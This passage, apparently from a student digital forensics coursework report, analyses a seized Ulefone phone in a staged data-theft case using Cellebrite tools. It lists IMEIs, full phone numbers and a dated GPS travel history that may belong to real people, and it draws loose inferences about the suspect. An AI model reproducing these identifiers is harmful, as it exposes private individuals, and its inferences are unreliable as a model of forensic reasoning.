The suspect's journey concludes in Swansea, aligning with the indication that they are a UK resident. This conclusion is further supported by the presence of a UK-based work contact in their phone, signified by the +44 country code.

The suspect likely resides in Swansea, UK. This assumption is based on their frequent travels to and from the UK and the presence of a UK work contact saved in their phone (labeled "3 MM" with a UK country code).

8.2.6.3. [bookmark: _gwocv7u77w89]India Travels
The suspect's thorough and diverse travels within India, including visits to multiple villages and cities in Tamil Nadu and Karnataka, as well as to Puducherry and Tirupati, are intriguing. These locations vary from urban hubs to rural areas and culturally significant sites. The reason for such diverse and extensive travel could be pivotal in understanding their intentions, particularly if these movements correlate with key events or timelines in the self-driving car project.

8.2.6.4. [bookmark: _kbkq50oohei3]Frequent Travel Between the UK and India
The regular movement between the UK and India, culminating in the return to Swansea, suggests a pattern that could be linked to professional obligations. The precise nature of these trips, whether for personal reasons or potentially related to unauthorized activities, needs careful examination.

8.2.6.5. [bookmark: _robgd5207njy]Visit to Gdańsk, Poland
The suspect's time spent in Gdańsk is particularly interesting. Given the city's business relevance, this visit could be connected to professional meetings or collaborations. The purpose and nature of this visit, especially in the context of the self-driving car project, warrant further investigation.

8.3. [bookmark: _mrss6zyij7ve]Malware scan performed - False

9. [bookmark: _z13g0rgplo39]Conclusion
The investigation into the suspect's activities revealed 23 audio recordings made between July and September 2023, with a notable concentration on specific dates in August and September, suggesting significant events or discussions on those days. Analysis of call logs identified several potentially suspicious calls, with the longest conversation being with an Indian number. The suspect's contact list indicates professional ties to the UK, confirmed by a UK work contact number. An examination of 218 media files provided insights into an extensive travel pattern covering various locations within India, the UK, Dubai, and Gdańsk, Poland. Notably, the suspect's presence in Dubai appears to be limited to transit, with their journey concluding in Swansea, UK, hinting at their residence. The installed applications on their mobile device are standard system-level apps without any inherent suspicion. The comprehensive travel itinerary, call records, and contacts collectively suggest a complex pattern of movement and communication, warranting further investigation in relation to the suspected unauthorized activities in a self-driving car project.




Annexure
ALl of these files can be found in the OneDrive Folder.
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5.2. Group C - Task 4 - ACCA7031 - Mobile Digital Forensics Analysis.docx

6. Google Sheet
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Module: Digital Forensics
Course Work: Task 4
Team C: Evidence Collection Individual Report (Mobile)
5.1 Scenario: Corporate Data Theft:
In Artificial Intelligence-based self-driving cars project, the company is suspicious about one of the Technical Officers. The firm learns that, despite his current high-profile assignment, the TO has taken a lot of time off for numerous domestic and international trips during the previous six months without giving the employer any notice. The business, which has competitors in these areas, has expressed worries regarding the TO’s possible involvement in the illegal disclosure of confidential information pertaining to the current project activities.
Legal action has been taken in accordance with the corporate policy. The cell phone belonging to the TO is being held in possession. The TO has voluntarily chosen not to disclose the password that currently secures the cell phone. We are asked to perform a comprehensive analysis of the phone data and produce an extensive report detailing our conclusions, ensuring the integrity and admissibility of the evidence in a court of law.
5.2 My Tasks List:
Ensuring that the Cellebrite product is practiced by the team and that all the team members are able to use the Cellebrite UFED and Cellebrite Physical Analyzer tools. These are a few of the jobs, I completed.
1. Acquiring the Evidence 
2. Chain of Custody
3. Password Cracking
4. Imaging Process – Cellebrite UFED
5. Evidence Analysis – Cellebrite Physical Analyzer
6. Task Distribution
7. Practice session with the team 
– Cellebrite UFED imaging process
– Cellebrite Physical Analyzer
5.3 Identifying the Evidence:
Acquired Evidence is Ulefone Note 14 Smartphone
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Figure: 5.1 Ulefore Note 14 Smartphone
5.3.1 Initial Assessment and Examination:
The phone details are captured using the evidence items and using the online website services,

Model: Note 14 (16G)
Brand: Ulefone
Colour: Lavender Purple
IMEI-1: 355617730545789
IMEI-2: 355617730545771
S/N:3102SH1010027469
MediaTek Helio A22
3GB RAM+16GB ROM
6.52-inch HD+ Display
8MP Main Camera
5MP Front Camera
Face Unlock
4500mAh Battery
Powered by Android™ 12
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Figure: 5.2 Ulefone Note 14 features


5.4 Preserving the Evidence:
5.4.1 Chain of Custody:
Chain of custody form filled in with Ulefone smartphone details, is processed and the smartphone is collected from Lecturer Munyaradzi Murira.
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5.4.2 Password Cracking: 
Initially, the phone reset process is tested on my personal Samsung Android smartphone. With the factory default reset, all the phone data are wiped out. 
Brute-forcing attack is tried with random numbers, found the timing set on the specific number of failed attempts on Ulefone Note 14 smartphone. Informed the team to avoid the two steps. Teammates have tried this attempt after receiving clues from Nitheesh on password cracking.

5.4.3 Storage and Backup:
5.4.3.1 Ulefone Note 14 Smartphone:
For mobile forensics imaging operations, Cellebrite UFED (Universal Forensic Extraction Device) Tool is used on the Ulefone Note 14 Smartphone, which is not listed in Cellebrite’s supported device database.
We choose AUTO-DETECT option in Cellebrite UFED tool to do imaging operations.
a. Go to Settings on Ulefone Note 14 Smartphone.
b. In Settings, under About Phone section, continue tapping Build Number 7 times until it unlocks Developer Options.
c. Return to Settings, choose Developer options, activate Stay Awake and USB Debugging.
d. Set the USB Connection mode to transfer files between the phone and the computer to enable Media Transfer Protocol (MTP).
Connect the Phone to the Windows PC to start the imaging process on the smartphone. Cellebrite detects Ulefone Note14 phone model and confirm on the computer to enable the stay awake options so it prevents the smartphone from going to sleep. 
a. Choose Advanced Logical extraction type in Cellebrite UFED.
b. Specify the location where the image needs to be stored on the PC.
3. By selecting all the given options, proceed with the extraction process.
5.4.3.2 Jio Sim Card
Cellebrite UFED can be used to extract data from Jio Sim Card, Advanced Logical Extraction type allows more comprehensive extraction of data from the SIM card. Here are the steps, 
a. Attach the SIM card adapter to the USB port on the computer. 
b. In Cellebrite UFED SIM Card adaptor, place the Nano SIM card into the designated Nano SIM card slot.
c. Launch the Cellebrite UFED software. Next, select the Advanced logical extraction type.
d. Save the location to store the SIM card data.
e. The connectivity of the Cellebrite UFED SIM card adapter has been verified and the SIM entries are currently being read.
The application will begin the data extraction process from the Nano SIM card. When the procedure is complete, data can be retrieved from the previously specified folder location. 

5.4.4 Chain of Custody:
Chain of custody form filled in with Ulefone smartphone details, is processed and the smartphone is handed over to Team B, David
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5.5 Evidence Analysis and Examination:
5.5.1 Evidence Examination:
In Cellebrite Physical Analyzer, we can gather the Smartphone specifications using the below steps
a. Go to File, Choose Open Case
b. In Load Evidence Windows, Select Add to check Load Extraction option
c. Navigate through the folders to locate the correct Ulefone Note 14 Evidence Collection.
d. Under Examination tools, run to examine the extracted data without any selected option
e. Proceed to investigate the extracted data by selecting none of the options under Examination tools.
Under the Advanced logical tab, the below Device Details are collected and compared with Ulefone Note 14 Smartphone Specifications
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Figure 5.3 Ulefone Note 14 Specifications
In the above steps, at the time of examining the data, there are settings which are chosen, Hash sets, Selective apps decoding, and Enrichment engines: Media Classification and Cryptocurrency, in Cellebrite Physical Analyzer and the results are,
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Figure 5.4 Cellebrite Extraction Summary

5.5.1.1 Hash Sets:
Hashing method is used to verify the integrity of the image. When the application is launched, the error message displayed is -- “Hash set DB state: Hash set database is missing.” To fix the error, set the hash set database path to file HashSets.DB, under Settings shown in figure:  Once the error is cleared, image hashes are verified and the value is “7fac3e4583ec956a14e7768bf81bf5d17535227f482feece47d55ecf0ee28a4e”

[image: C:\Users\sakthi\Desktop\Assignment\DF\Chain of Custody\Capture02.PNG][image: C:\Users\sakthi\Desktop\Assignment\DF\Chain of Custody\Capture01.PNG]
Figure 5.5 Image Hashes

5.5.1.2 Selective App Decoding:
Selective App decoding enables us to extract the data from the applications. Table 10.2 provides the list of apps that were processed with Selective App Decoding. When all of the apps are parsed without errors and verified using tracer windows, the same apps are not included into Application Insights. As seen in Figure: 10.3, despite having all the decoding parameters enabled, there is no luck. 
Only ten Android applications are available in the Application Insights/Installed Applications. The installed Applications are not functional, it cannot be recovered using AppGenie as it errors out as not an AppGenie artifacts.

	APPLICATIONS
	APPLICATIONS
	APPLICATIONS
	APPLICATIONS

	Gmail
	Google Play Store
	Google Chrome Fast & Secure
	Keystore Secrets

	Google
	Google Duo
	WhatsApp Messenger
	AndroidID

	Google Maps
	YouTube
	com.android.providers.settings
	SbootDumpPasswords

	Messages
	Digital Wellbeing
	Android Advertising ID
	Device Info IMEI

	Google Calendar
	Google Drive
	com.android.phone
	Secure Settings

	Google Photos
	Android IDs
	com.android.poviders.contacts
	Recovery Folder

	Messages
	LGBackup
	com.google.android.gsf
	Settings

	KeyStore
	Build Prop
	com.andriod.settings
	Bluetooth Devices

	Exo
	System Data
	BTMAC Address
	BluettoothMac

	Accounts
	Log Data
	PhonePreferences
	Bluetooth

	Native Wifi
	Wifi Log Data
	WatchdogLog
	MacAddress

	Wifi
	WifiMac
	Poweroffinfo
	RootStatus

	Tethering
	FactNo
	TimeZone
	StartupTime

	Language
	Country
	Google Settings
	CheckinService

	Checkin Service
	IMEI
	app_webview/Web Data
	Facebook Login

	TextMapper
	Cookies
	app_webview/Cookies
	Samsung Rubin

	Network Stats
	Contacts
	Samsung Recovery Log
	Samsung Updater

	SwiftKey
	Logs Table
	Permissions
	GTalk


Table: 5.1 Selection App Decoding – Applications List

	
INSTALLED APPLICATIONS
	
DETAILS

	com.google.android.sample.rcsclient
	Enables enhanced, dynamic, richer, and more secure communications

	com.android.wallpaperbackup
	Restores and backs up metadata and wallpaper

	com.android.settings.intelligence
	Has features like Smart Autorotate, LiveCaption, and Screen Attention.

	com.android.providers.telephony
	Comprises data on APN listings, service status, and phone operation.

	com.android.notepads
	It is a notepad application

	com.android.launcher3
	Gives control over the home screen and phone operation.

	com.android.deskclock
	Controls the alarm and sets the clock.

	com.android.cts.priv.ctsshim
	The Compatibility Test Suite (CTS) package for Android

	com.android.cts.ctsshim
	The Compatibility Test Suite (CTS) package for Android

	com.android.bluetoothmidiservice
	Allows the pairing of Bluetooth devices with apps.


Table: 5.2 Installed Applications
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Figure 5.6 Cellebrite Settings
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Figure 5.7 Installed Applications

5.5.2 Evidence Analysis: 
With the limited visibility, we are about to evaluate the scenario and formulate the conclusion to this case with available credible evidences. Here are the list of data and data files to be analyzed,
Table 5.3 Extraction Summary – Content Section
	DATA
	DATA FILES

	Installed Applications (10)
	Calendar (119)
	Audio (23)
	Videos (6)
	Databases (8)

	Device Locations (96)
	Call Log (24)
	Images (217)
	Configurations (1)

	Instant Messages (151)
	Contacts (13)
	Text (12)
	Uncategorized (63)



5.5.2.1 Instant Messages:
India Jio Phone Number: 87782-44595
The Officer only gets 1GB of data per day from his prepaid plan, which is insufficient for him. This conduct is noteworthy. An individual needs no more than 6GB of data per month. This implies that he can stay connected online no matter where he travels, whether it is domestic or abroad.
It is visible with the data plan messages, the officer has travelled to Kerala and Telangana, Andhra Pradesh within India.

5.5.2.2 Contacts:
In the saved contacts, there are only 4 contact names listed. This means this is not his primary phone number. The officer belongs to UK as more numbers are pointing to UK numbers.
1. 3 MM > +44 7383 368785 > UK number
2. SSD > +1 647 225 4735 > US number
3. JS > +91 78248 07001 > India number
4. SJ 4 > +44 7443 455188 > UK number

5.5.2.3 Call Logs:
The call logs display the Indian phone numbers under the Missed, Answered, and Unknown categories. There are more calls than there are responses.  It's odd that despite being an India Jio phone number, neither foreigners nor Indians are aware of it.
1. Answered > 2 calls
2. Missed > 5 calls
3. Unknown > 17 calls


5.5.2.4 Device Locations:
From the phone device locations, the technical officer travel patterns can be analyzed.
	
TIME
	
LATITUDE
	
LONGITUDE
	
LOCATION

	9/7/23 21:18:56
	12.981579
	80.16129
	Anna International Terminal 4, Terminal Link Road, Ward 159, - 600027, Tamil Nadu, India

	9/7/23 22:54:14
	12.643622
	80.04112
	Sadras - Chengalpattu - Kancheepuram - Arakkonam - Tiruthani Road, Pakshitīrtham, Vengambakkam - 603109, Tamil Nadu, India

	9/7/23 23:56:34
	12.362767
	80.06701
	East Coast Road, Chengalpattu District, -, Tamil Nadu, India

	10/7/23 0:47:25
	11.998337
	79.85315
	Viluppuram District, Bommayapalayam - 605104, Tamil Nadu, India

	13/7/23 11:36:31
	11.934423
	79.786766
	Moolakulam, Oulgaret - 605010, Puducherry, India

	14/7/23 7:55:32
	12.979065
	77.568245
	Platform 7, 8, Old Mysuru Road, Subhash Nagar, Bengaluru - 560009, Karnataka, India

	25/7/23 23:36:16
	13.076107
	80.20063
	Zone 10 Kodambakkam, Chennai - 600001, Tamil Nadu, India

	26/7/23 3:29:53
	13.646942
	79.40174
	Toll Gate, Second Ghat Road (Tirupati Tirumala Up Road), Tirupati District, Tirumala - 517504, Andhra Pradesh, India

	29/7/23 6:39:22
	10.458222
	76.970726
	Pollachi - Valparai Road, Coimbatore District, Iyerpaddy - 642127, Tamil Nadu, India

	30/7/23 4:01:06
	10.313983
	76.97876
	Coimbatore District, Valparai - 642127, Tamil Nadu, India

	30/7/23 7:26:18
	10.432462
	76.9875
	Pollachi - Valparai Road, Coimbatore District, Iyerpaddy - 642127, Tamil Nadu, India

	30/7/23 14:30:58
	11.017576
	76.96882
	2nd street, Ward 52, Coimbatore - 641001, Tamil Nadu, India

	2/8/23 23:06:49
	11.92576
	79.82556
	Odiansalai, Puducherry - 605001, Puducherry, India

	14/8/23 12:55:16
	12.982546
	80.16384
	New Integrated Terminal (Terminal 2), Terminal Link Road, Ward 159, - 600027, Tamil Nadu, India

	3/9/23 3:13:00
	51.892197
	0.264617
	Radisson Blu, Gorefield Road, Molehill Green, CM24 1PP, United Kingdom

	3/9/23 4:22:49
	51.890682
	0.262632
	Stansted Airport, Terminal Road North, Molehill Green, CM24 1RW, United Kingdlon

	3/9/23 10:17:16
	54.34626
	18.65766
	Hotel Grano, Pszenna 3, 80-749 Gdansk, Poland

	7/9/23 6:45:40
	54.389248
	18.638823
	Polsat Plus Arena Gdańsk, Pokoleń Lechii Gdańsk 1, 80-560 Gdansk, Poland


Table 5.4 Device Locations
5.5.2.5 Images:
	IMAGES

	Image: i
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	Image: ii
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	Image: iii
[image: C:\Users\sakthi\Desktop\Assignment\DF\Chain of Custody\images\IMG_20230710_045637_838.jpg]
	Image: iv
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	Dubai Airport Road, 
Al Garhoud, Dubai
09/07/2023 17:54:57
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	Subhash Nagar, Bengaluru, India
14/07/2023 09:55:37
	Kodambakkam, Chennai, India
26/07/2023 01:36:21
	Tirupati District, Tirumala, India
26/07/2023 05:58:37
	Valparai,  Coimbatore District, India
30/07/2023 06:01:08
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	Ward 52, Coimbatore, TN, India
30/07/2023  16:31:09
	Odiansalai, Puducherry, India
03/08/2023 01:06:53
	Terminal 2 , Chennai Airport, India
14/08/2023 14:55:23
	Radisson Blu, Molehill Green, United Kingdom
03/09/2023  05:13:19
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	Stansted Airport, Molehill Green, United Kingdom
03/09/2023  10:17:16
	Hotel Grano, Gdansk, Poland

03/09/2023 15:53:15
	HP, Polsat Plus Arena Gdansk, Poland

07/09/2023 19:14:07
	Euroskills 2023, Polsat Plus Arena Gdansk, Poland

07/09/2023 19:14:12


Table 5.5 Images
5.5.2.6 Audio:
The officer records flight and train announcements on his journey. He frequently flies abroad from Stansted Airport. On 09/07/2023 at 18:07:19, he travels by Emirates Flight No: EK542, flying at an altitude of 31000 feet from Dubai to Chennai. During his way back on 14/08/2023 at 17:28:18, he again joins Emirates Flight No: 547, which takes off from Chennai and reaches Dubai by climbing to an altitude of 36000 feet. Both the flight takes 3 hours 30 minutes time to travel. He uses National Express coach to reach his home in Swansea.
He boards a coach, and goes through Heathrow Central Bus Station. From Stansted Airport, he travels to Poland. He rides a train to Paddington on his way back, and from there he boards a different train to travel via West Wales on. That train terminates at Swansea train station. The officer lands in Swansea on 11/09/2023 at around 10:00am

5.6 Presenting the Evidence:
5.6.1 Documentation:
5.6.1.1 Call Logs: Based on the call history, it appears that the officer has made lot of use of this phone in India, which may be related to the India Jio SIM Card. The outgoing calls are exceeding the incoming calls
5.6.1.2 Contacts:  Few numbers are added to the phone, proves that this is not his primary number.
5.6.1.3 Instant Messages: The officer uses online services more than the other phone activities. This raises more suspicion to investigate other applications on the phone. 
5.6.1.4 Device Locations/Images/Audio:  All the data synchronize with each other determining the date and time with GPS coordinates. Images collected on these instances indicates the regular travel activities. The officer arranges his travel from Swansea, he must belong to Swansea.

5.6.2 Reporting:  
It is evident that he exclusively uses the phone when on vacation and that it is not his primary personal phone. The reason for the high internet usage and other phone activities in India compared to the UK, Dubai and Poland on this phone, could be that the phone uses an India Jio SIM card which could result in roaming charges.
In short, the officer takes an Emirates flight from Dubai to Chennai, India. He travels via Chengalpattu, Villupuram to reach Puducherry. From Puducherry, he visits several places in India, including Bengaluru, Chennai, Tirupati Temple, Pollachi, Valparai and Coimbatore. He is connecting with people during his trips and spends considerable time in online activites.
After leaving Chennai, he joins another Emirates flight to Dubai. He reaches Swansea using a coach by National Express.
The officer then travels on business to attend Euroskills 2023 at the Polsat Plus Arena in Gdansk, Poland – https://euroskills2023.org ; nevertheless, a picture (xv in Figure: ) points to HP1 exhibit at the same venue.
The Officer’s suspicious behaviors are confirmed by these patterns of holiday internet browsing and meeting individuals without informing the company manager. There are other apps on the phone which are pending investigation. We need to recover them as the next step to confirm whether he commits the crime or not.

5.7 Conclusion:
There are nearly 90 apps which are pending investigation. It is advisable to reach out to external Forensic Expert or Cellebrite customer service. The evidence analysis has increased only the suspicion on the Technical Officer. 

[image: C:\Users\sakthi\Desktop\Assignment\DF\Chain of Custody\Capture06.PNG]
Figure 5.8 Cellebrite Extraction Summary
5.8 Challenges Faced:
5.8.1 Application Insights: Parsing are completed with no issues. The apps not listed in application insights but are in Selective App decoding in Extraction Summary as shown in Figure: 
5.8.2 Team Report Task: Participated in the team discussion that was held on December 20, 2023, and December 22, 2023, just before the school closed. I oversaw the team's work on the distributed assignment and ensured that everyone responded to my colleague, who persisted in finishing the team reporting task. Until the coursework was completed, monitored on the team's activities and made sure there were no conflicts of interest with other player.
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